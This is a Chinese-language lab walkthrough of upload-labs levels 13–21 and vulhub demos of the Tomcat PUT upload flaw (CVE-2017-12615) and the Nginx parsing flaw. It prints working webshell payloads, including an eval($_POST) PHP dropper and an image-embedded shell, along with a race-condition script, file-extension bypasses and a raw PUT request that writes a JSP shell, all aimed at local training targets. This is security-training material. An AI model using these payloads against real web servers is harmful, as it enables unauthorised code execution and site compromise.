文件上傳之內容邏輯數組繞過


upload-labs第13-21關

1. pass13(post%00截斷)

image
通過源碼分析,保存路徑是以post方式提交的,故可以post%00截斷繞過。
提交抓包,修改參數
%00要使用url編碼
image
上傳成功:
image

2. pass14(文件包含漏洞)

圖片馬制作:

copy 2.jpg /b + shell.php /a webshell.jpg

image
image
通過源碼分析,改關是檢查文件頭信息進行判斷。
且此關是文件包含漏洞。是GET傳參,參數是file。
image
上傳一張有馬的圖片。查看圖片地址。
image
構造payload:

http://127.0.0.1/upload-labs/include.php?file=upload/7020210808175852.jpg

成功執行。
image

3. pass15(文件包含漏洞)

查看源碼:
image
發現php函數getimagesize(),此函數限制上傳的僅為圖片文件。
繞過方法與14關一至。
image

4. pass16、17(文件包含漏洞)

image
16關源碼中有內置函數:exif_imagetype()
image
17關源碼中有內置函數:imagecreatefromjpeg()、imagecreatefrompng()、imagecreatefromgif()
均限制了上傳文件類型。均需用文件包含漏洞繞過,方法與14、15關類似。

5. pass18(條件競爭)

  • 條件競爭漏洞
    條件競爭漏洞是一種服務器端的漏洞,是由於開發者設計應用程序並發處理時操作邏輯不合理而造成。當應用面臨高並發的請求時未能同步好所有請求,導致請求與請求之間產生等待時出現邏輯缺陷。該漏洞一般出現在與數據庫系統頻繁交互的位置,例如金額同步、支付等較敏感操作處。另外條件競爭漏洞也會出現在其他位置,例如文件的操作處理等。
    首先將文件上傳到服務器,然后檢測文件后綴名,如果不符合條件,就刪除。
    image
    源碼分析:
    image
    服務器先將上傳的文件進行暫存,在判斷是否符合條件,符合就重命名進行保存。
    准備shell代碼,保存為shell.php:
<?php fputs(fopen('shell.php','w'),'<?php @eval($_POST['x'])?>');?>

在准備一個python腳本:

import requests
url = "http://127.0.0.1/upload/shell.php"
while True:
    html = requests.get(url)
    if html.status_code == 200:
        print("OK")
        break
    else:
        print("NO")

上傳,抓包
發送到intruder模塊
清除positions中的所有選項
image
payloads中設置無期限的重復。
image
開始攻擊,共攻擊的同時,運行python文件。
image
成功:
image
蟻劍連接測試:
image

6. pass19(條件競爭)

第19關仍然是條件競爭問題。
直接抓包進行攻擊:
增加X-Forwarded-For:
image
設置payloads:
image
開始攻擊,同時不斷訪問http://127.0.0.1/upload-labs/upload/shell.php,
image
出先報錯即可。

7. pass20(文件夾問題)

查看源碼:

$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
    if (file_exists(UPLOAD_PATH)) {
        $deny_ext = array("php","php5","php4","php3","php2","html","htm","phtml","pht","jsp","jspa","jspx","jsw","jsv","jspf","jtml","asp","aspx","asa","asax","ascx","ashx","asmx","cer","swf","htaccess");

        $file_name = $_POST['save_name'];
        $file_ext = pathinfo($file_name,PATHINFO_EXTENSION);

        if(!in_array($file_ext,$deny_ext)) {
            $temp_file = $_FILES['upload_file']['tmp_name'];
            $img_path = UPLOAD_PATH . '/' .$file_name;
            if (move_uploaded_file($temp_file, $img_path)) { 
                $is_upload = true;
            }else{
                $msg = '上傳出錯!';
            }
        }else{
            $msg = '禁止保存為該類型文件!';
        }

    } else {
        $msg = UPLOAD_PATH . '文件夾不存在,請手工創建!';
    }
}

這里使用post進行修改文件名操作
image
這里對文件名進行黑名單過濾,我們采用.php/.來繞過黑名單。
move_uploaded_file()函數會過濾掉文件末尾的/.再上傳到服務器中。
抓包修改:
image
上傳成功;
image
image

8. pass21(數組接受+目錄命名問題)

查看源碼:

$is_upload = false;
$msg = null;
if(!empty($_FILES['upload_file'])){
    //檢查MIME
    $allow_type = array('image/jpeg','image/png','image/gif');
    if(!in_array($_FILES['upload_file']['type'],$allow_type)){
        $msg = "禁止上傳該類型文件!";
    }else{
        //檢查文件名
        $file = empty($_POST['save_name']) ? $_FILES['upload_file']['name'] : $_POST['save_name'];
        if (!is_array($file)) {
            $file = explode('.', strtolower($file));
        }

        $ext = end($file);
        $allow_suffix = array('jpg','png','gif');
        if (!in_array($ext, $allow_suffix)) {
            $msg = "禁止上傳該后綴文件!";
        }else{
            $file_name = reset($file) . '.' . $file[count($file) - 1];
            $temp_file = $_FILES['upload_file']['tmp_name'];
            $img_path = UPLOAD_PATH . '/' .$file_name;
            if (move_uploaded_file($temp_file, $img_path)) {
                $msg = "文件上傳成功!";
                $is_upload = true;
            } else {
                $msg = "文件上傳失敗!";
            }
        }
    }
}else{
    $msg = "請選擇要上傳的文件!";
}

可看出這是白名單限制。
通過檢查MIME信息中的文件后綴在白名單中則上傳,否則報錯。
image
image
此部分將文件名分成3部分組成一個數組,例如將"xx.jpg"分為:"xx"、"."、"jpg"三部分
我們抓包將.php/.jpg分三部分修改即可繞過
image
image

中間件漏洞

Tomcat上傳漏洞

  • CVE-2017-12615vulhub靶場演示
    配置環境:
docker-compose build
docker-compose up -d

image
訪問8080端口:
image
基本原理:
Tomcat設置了寫權限(readonly=false),導致我們可以向服務器寫入文件。

<servlet>
    <servlet-name>default</servlet-name>
    <servlet-class>org.apache.catalina.servlets.DefaultServlet</servlet-class>
    <init-param>
        <param-name>debug</param-name>
        <param-value>0</param-value>
    </init-param>
    <init-param>
        <param-name>listings</param-name>
        <param-value>false</param-value>
    </init-param>
    <init-param>
        <param-name>readonly</param-name>
        <param-value>false</param-value>
    </init-param>
    <load-on-startup>1</load-on-startup>
</servlet>

POC
直接發送以下數據包,shell就會寫入Web根目錄。

PUT /1.jsp/ HTTP/1.1
Host: your-ip:8080
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 5

shell

image
訪問:http://192.168.0.105:8080/1.jsp?pwd=023&i=id
image

搭建平台解析漏洞

常見搭建平台解析漏洞如下圖:
image

Nginx上傳解析漏洞vulhub演示

啟動靶場環境

docker-compose up -d

image
image
由數據包顯示,是Nginx搭建平台,可考慮使用Nginx解析漏洞。
xx.jpg/xx.php 可將jpg文件當做php執行。
上傳有馬的圖片
image
然后訪問:http://192.168.0.105/uploadfiles/a7c3ce076585477741d951d179ab07dc.jpg/sds.php
image
成功解析。


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM